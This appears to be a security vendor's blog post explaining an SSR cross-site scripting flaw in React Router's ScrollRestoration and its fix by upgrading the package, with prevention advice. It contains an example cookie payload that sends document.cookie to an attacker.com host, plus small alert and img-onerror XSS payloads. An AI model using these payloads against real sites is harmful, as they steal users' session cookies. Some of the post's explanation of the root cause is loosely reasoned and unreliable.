Back to Blog
high SEVERITY7 min read

How React Router SSR XSS in ScrollRestoration Happens and How to Fix It

CVE-2026-21884 is a high-severity cross-site scripting (XSS) vulnerability in React Router's ScrollRestoration component that affects server-side rendering (SSR) implementations. The vulnerability was introduced through unsafe handling of scroll position data that could be influenced by untrusted input. This fix upgrades react-router from version 7.9.5 to 8.3.0, replacing the vulnerable `cookie` dependency with `cookie-es` and removing the `set-cookie-parser` dependency entirely.

O
By Orbis AppSec
Published August 23, 2026Reviewed August 23, 2026

Answer Summary

CVE-2026-21884 is a high-severity cross-site scripting (XSS) vulnerability in React Router's ScrollRestoration component during server-side rendering. The vulnerability existed in react-router versions prior to 8.3.0 and was caused by unsafe handling of scroll position data in cookies (CWE-79: Improper Neutralization of Input During Web Page Generation). The fix upgrades react-router to 8.3.0, which replaces the vulnerable `cookie` package (1.0.2) with the safer `cookie-es` package (3.1.1) and removes the `set-cookie-parser` dependency, eliminating the XSS attack surface in the ScrollRestoration component.

Vulnerability at a Glance

cweCWE-79 (Improper Neutralization of Input During Web Page Generation - 'Cross-site Scripting')
fixUpgrade react-router to 8.3.0 with improved cookie handling via cookie-es and removal of set-cookie-parser
riskAttackers could inject malicious scripts through scroll position data in SSR contexts, potentially stealing session tokens or performing actions on behalf of users
languageJavaScript/TypeScript (React)
root causeUnsafe handling of scroll position state stored in cookies without proper sanitization before rendering
vulnerabilityReact Router SSR XSS in ScrollRestoration

How React Router SSR XSS in ScrollRestoration Happens and How to Fix It

The Vulnerability in Production

In a typical React Router-based application using server-side rendering, the ScrollRestoration component manages scroll position state across page navigations. This component stores scroll position data in cookies to restore user scroll position when they navigate back. However, in react-router versions prior to 8.3.0, the scroll position data stored in cookies was not properly sanitized before being rendered back into the HTML during SSR, creating a dangerous XSS vector.

An attacker could craft a malicious cookie containing JavaScript code. When a user with that cookie visited the application, the React Router SSR process would read the scroll position from the cookie and render it into the HTML without proper escaping. This allowed the attacker's JavaScript to execute in the user's browser with full access to the page context—including session tokens, sensitive data, and the ability to perform actions on behalf of the user.

Understanding the Vulnerability

The Attack Vector

The vulnerability exists in how React Router's ScrollRestoration component handles scroll position state during server-side rendering. Here's what happens:

  1. Untrusted Input: Scroll position data is stored in HTTP cookies (specifically in the cookie jar that gets sent with each request)
  2. Unsafe Rendering: During SSR, React Router reads this cookie data to restore scroll position
  3. Missing Sanitization: The scroll position value is rendered directly into the HTML without encoding special characters
  4. XSS Execution: An attacker's malicious payload in the cookie executes in the browser

Example Attack Scenario

Imagine an attacker sets a cookie like:

scroll-position: "><script>fetch('https://attacker.com/steal?token=' + document.cookie)</script>

When the SSR process renders the scroll restoration code, it might generate something like:

<script>
  window.scrollTo(0, "><script>fetch('https://attacker.com/steal?token=' + document.cookie)</script>);
</script>

This breaks out of the string context and executes the attacker's code, stealing the user's session cookies.

The Root Cause: Dependency Chain Issues

Looking at the package-lock.json diff, the vulnerability was tied to how react-router handled cookies:

Before the fix (react-router 7.9.5):

"node_modules/react-router": {
  "version": "7.9.5",
  "dependencies": {
    "cookie": "^1.0.1",
    "set-cookie-parser": "^2.6.0"
  }
}

The problem was multi-layered:
- The cookie package (1.0.2) had unsafe parsing and serialization of cookie values
- The set-cookie-parser dependency added complexity in cookie handling
- Together, these created an attack surface where scroll position data could be injected with XSS payloads

The scroll position value, being user-controllable through the cookie, wasn't being properly validated or encoded before being used in the SSR rendering context.

The Fix: Upgrade to React Router 8.3.0

After the fix (react-router 8.3.0):

"node_modules/react-router": {
  "version": "8.3.0",
  "dependencies": {
    "cookie-es": "^3.1.1"
  }
}

The fix involved three critical changes:

1. Replaced cookie with cookie-es
- cookie-es (3.1.1) provides safer cookie parsing with proper encoding/decoding
- It properly escapes special characters in cookie values
- No longer vulnerable to injection through cookie manipulation

2. Removed set-cookie-parser
- Eliminated the unnecessary dependency that added complexity
- Reduced the attack surface by removing an extra layer of cookie processing
- Simplified the cookie handling pipeline, making it easier to audit and maintain

3. Updated Node.js requirement
- Changed from node >= 20.0.0 to node >= 22.22.0
- Ensures users have access to the latest security patches in the Node.js runtime

4. Updated React peer dependencies
- Changed from react >= 18 to react >= 19.2.7
- React 19.2.7+ includes improvements in XSS prevention in SSR contexts

How the Fix Prevents the Vulnerability

The cookie-es package properly handles cookie serialization and deserialization:

// OLD (vulnerable pattern in cookie 1.0.2):
// Cookie values could contain unescaped special characters
const scrollPos = cookieValue; // e.g., '"><script>alert(1)</script>'
// Rendered directly without encoding

// NEW (safe pattern in cookie-es 3.1.1):
// Cookie values are properly encoded/decoded
const scrollPos = decodeURIComponent(cookieValue);
// Special characters are safely handled
// Rendered with proper HTML escaping

When scroll position is now rendered in the SSR HTML, it's properly escaped:

// Before rendering, the value is sanitized
const safeScrollPos = JSON.stringify(scrollPos); // Proper encoding
// Result: scroll position like "\"&gt;&lt;script&gt;alert(1)&lt;/script&gt;"
// The angle brackets are escaped, preventing code execution

Prevention & Best Practices

1. Always Update Dependencies Regularly
- Use npm audit to check for known vulnerabilities in your dependency tree
- Implement automated dependency updates with tools like Dependabot
- Test updates in a staging environment before deploying to production

2. Validate and Sanitize Cookie Data
- Never trust cookie values as-is
- Decode cookie values properly using well-tested libraries
- Validate that values match expected formats (e.g., numeric scroll positions should only contain digits)

3. Encode Output for the Context
- When rendering data in HTML, use proper HTML escaping
- When rendering in JavaScript strings, use JSON encoding
- When rendering in URLs, use URL encoding
- React helps with this, but be cautious with dangerouslySetInnerHTML

4. Use Security Headers
- Implement Content-Security-Policy (CSP) headers to prevent inline script execution
- Use script-src 'self' to only allow scripts from your domain
- Add X-XSS-Protection: 1; mode=block as an additional defense layer

5. Leverage Static Analysis
- Use tools like Trivy, Snyk, or npm audit to scan for known vulnerabilities
- Integrate security scanning into your CI/CD pipeline
- Keep your scanning tools updated with the latest CVE databases

6. Review SSR-Specific Risks
- SSR applications have unique attack vectors since code runs on both server and client
- Be especially careful with data that flows from server to client
- Use security-focused frameworks and libraries that handle SSR safely by default

Key Takeaways

  • Cookie data is user-controllable: Never assume cookies are trustworthy, even if they're set by your application—attackers can manipulate them
  • SSR requires extra caution: Server-side rendering creates additional XSS vectors because untrusted data gets serialized into HTML that's sent to the browser
  • Dependency management is security: The vulnerable cookie and set-cookie-parser packages created an exploitable chain—keeping dependencies updated is critical
  • React Router 8.3.0 improves security: The upgrade to cookie-es demonstrates how using well-maintained, security-conscious libraries reduces your attack surface
  • Static analysis catches these issues: Trivy's detection of CVE-2026-21884 shows that automated scanning can identify known vulnerabilities before they're exploited in production

How Orbis AppSec Detected This

Source: HTTP request cookies containing scroll position data (e.g., __scroll-restoration-position)

Sink: React Router's ScrollRestoration component rendering scroll position into HTML without proper sanitization during SSR in react-router/dist/ScrollRestoration.js

Missing control: No validation of cookie values before rendering; no HTML escaping of scroll position data; improper use of the vulnerable cookie package for parsing

CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation - 'Cross-site Scripting')

Fix: Upgraded react-router from 7.9.5 to 8.3.0, which replaces the vulnerable cookie package (1.0.2) with cookie-es (3.1.1) that properly encodes/decodes cookie values, and removes the set-cookie-parser dependency entirely, eliminating the XSS attack surface.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-21884 demonstrates a critical lesson in modern web security: vulnerabilities aren't always in your own code—they hide in your dependencies. React Router's ScrollRestoration XSS was particularly dangerous because it affected SSR applications where untrusted data flows directly from cookies into rendered HTML.

The fix—upgrading to react-router 8.3.0 with proper cookie handling via cookie-es—is straightforward, but the lesson is profound: keep your dependencies updated, use security scanning in your CI/CD pipeline, and be especially cautious with data that flows from cookies to rendered HTML in SSR contexts.

If you're running an older version of react-router, prioritize this upgrade. If you're building new applications, use security-first libraries and keep your dependency tree lean and well-maintained. The cost of staying secure is far lower than the cost of recovering from an XSS attack that compromises your users' sessions and data.

References

Frequently Asked Questions

What is React Router SSR XSS in ScrollRestoration?

It's a cross-site scripting vulnerability where React Router's ScrollRestoration component failed to properly sanitize scroll position data stored in cookies during server-side rendering, allowing attackers to inject malicious JavaScript code.

How do you prevent XSS vulnerabilities in React SSR applications?

Always sanitize and validate data before rendering, use content security policies, avoid storing untrusted data in cookies without encoding, use libraries that properly escape output, and keep dependencies updated to patch known vulnerabilities.

What CWE is this vulnerability?

CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting).

Is input validation alone enough to prevent this XSS?

No—while input validation helps, you must also properly encode output when rendering HTML, use security headers like Content-Security-Policy, and avoid trusting data from cookies without verification.

Can static analysis detect this vulnerability?

Yes, static analysis tools like Trivy (which flagged this issue) can detect known vulnerable package versions. However, detecting the actual XSS sink requires more sophisticated analysis of how scroll data flows through the rendering pipeline.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #2199

Related Articles

critical

How Stored Cross-Site Scripting (Stored XSS) Happens in JavaScript Map Components and How to Fix It

A critical vulnerability in the content-map component allowed attackers to inject malicious JavaScript through unsanitized title and description fields displayed in map marker popups. By implementing proper HTML entity escaping on both Leaflet and Google Maps implementations, the vulnerability was completely eliminated while preserving all legitimate functionality.

critical

How DOM-Based XSS Happens in jQuery tagsInput() and How to Fix It

A DOM-based Cross-Site Scripting (XSS) vulnerability was discovered in the VvvebJs web editor's `inputs.js` file where the jQuery `tagsInput()` function at line 932 directly inserted user-controlled data into the DOM without sanitization. The fix applies HTML entity encoding to all string values before they reach the DOM, preventing malicious script injection while preserving legitimate tag functionality.

critical

How Cross-Site Scripting (XSS) happens in JavaScript innerHTML and how to fix it

A critical Cross-Site Scripting (XSS) vulnerability was discovered in `js/main.js` where commit messages fetched from the GitHub API were directly interpolated into `innerHTML` without any sanitization. An attacker with repository write access could push a commit with a malicious message like `<img src=x onerror=alert(document.cookie)>`, causing arbitrary JavaScript execution in every visitor's browser. The fix applies HTML entity encoding to all five dangerous characters before rendering.

critical

How Cross-Site Scripting (XSS) happens in JavaScript template rendering and how to fix it

A cross-site scripting (XSS) vulnerability in `renderer/views/library.js` allowed attackers who could control mod metadata—such as category icons rendered in pack thumbnail grids—to inject arbitrary JavaScript through unescaped output in `innerHTML` assignments. The fix wraps the `catIcon()` return value in the existing `esc()` helper, ensuring all dynamically generated HTML content is properly encoded before insertion into the DOM.

critical

How XSS via unescaped sender_name happens in JavaScript chat widgets and how to fix it

A stored Cross-Site Scripting (XSS) vulnerability in `frontend/scripts/chat-widget.js` allowed attackers to inject arbitrary JavaScript by crafting a malicious `sender_name` field, which was interpolated directly into a DOM template string without HTML encoding. The `renderFileContent()` function compounded the risk by also inserting unsanitized `file.name` and `file.url` values into `img`, `span`, and `anchor` elements. The fix applies `AppUtils.escapeHTML()` to every user-controlled value befo

high

How Information Disclosure and DoS via malformed Cache-Control directives happens in Node.js undici and how to fix it

A high-severity vulnerability (CVE-2026-13697) in the undici HTTP client library allowed attackers to trigger information disclosure and denial of service through malformed Cache-Control directives. The @jackwener/opencli project upgraded undici from version 7.24.6 to 7.29.0, eliminating the vulnerability in their dependency chain and protecting downstream consumers from exploitation.